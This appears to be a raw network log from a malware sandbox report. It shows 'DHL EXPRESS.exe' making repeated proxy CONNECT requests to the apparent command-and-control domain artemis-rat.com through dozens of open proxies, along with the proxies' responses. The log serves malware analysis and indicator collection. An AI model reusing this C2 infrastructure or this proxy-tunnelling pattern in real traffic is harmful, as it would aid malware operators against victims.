Mar 11, 2024 18:36:50.975934982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.706547022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1294	192.168.2.8	52925	107.181.168.145	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.977148056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1295	192.168.2.8	53811	110.12.211.140	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.987518072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1296	192.168.2.8	53831	64.202.186.2	42587	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.992182970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.456490993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.065893888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.269407034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.456737041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.675359011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.769124985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.956543922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.268902063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1297	192.168.2.8	52047	103.69.90.57	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.008920908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.883229971 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1298	192.168.2.8	53814	121.66.198.76	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.009587049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1299	192.168.2.8	53809	34.95.243.122	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.012800932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.769026041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.092278004 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1300	192.168.2.8	53834	35.190.107.16	30000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.017735004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1301	192.168.2.8	52218	192.111.139.162	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.058917046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1302	192.168.2.8	53853	104.22.37.236	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.060295105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.214996099 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1303	192.168.2.8	53810	185.220.226.128	808	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.060313940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1304	192.168.2.8	53869	104.23.125.117	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.087764025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.242158890 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1305	192.168.2.8	53812	188.166.17.18	8881	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.088583946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1306	192.168.2.8	53894	104.23.141.196	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.090514898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.245076895 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1307	192.168.2.8	53820	3.12.144.146	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.090857983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.307266951 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:51 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1308	192.168.2.8	53223	117.160.250.163	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.093636990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.345546961 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1309	192.168.2.8	53808	74.118.80.244	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.094505072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1310	192.168.2.8	52165	81.177.6.68	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.100819111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.780067921 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1311	192.168.2.8	52118	178.54.21.203	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.107028961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.268934965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1312	192.168.2.8	53151	176.98.81.85	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.111964941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1313	192.168.2.8	53815	38.54.116.9	8118	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.149295092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.568622112 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1314	192.168.2.8	52119	185.250.27.54	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.166577101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.269105911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.269448996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.269143105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.284523964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:27.471944094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:39.581424952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:03.581381083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1315	192.168.2.8	52134	181.209.78.75	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.182375908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.269105911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.269448996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.269143105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.284559011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.946934938 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1316	192.168.2.8	53224	154.83.29.105	3030	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.182666063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.206479073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.555521965 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 18:39:07.467099905 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 735 Content-Type: text/html Date: Sun, 10 Mar 2024 20:59:44 GMT Expires: Sun, 10 Mar 2024 20:59:44 GMT Server: Mikrotik HttpProxy Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1317	192.168.2.8	53361	192.169.226.96	50578	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.194928885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1318	192.168.2.8	53878	43.133.10.165	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.195312023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.909596920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.879704952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.565557003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.064652920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.249597073 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1319	192.168.2.8	53845	51.15.210.79	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.195674896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1320	192.168.2.8	53842	91.189.177.189	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.206288099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
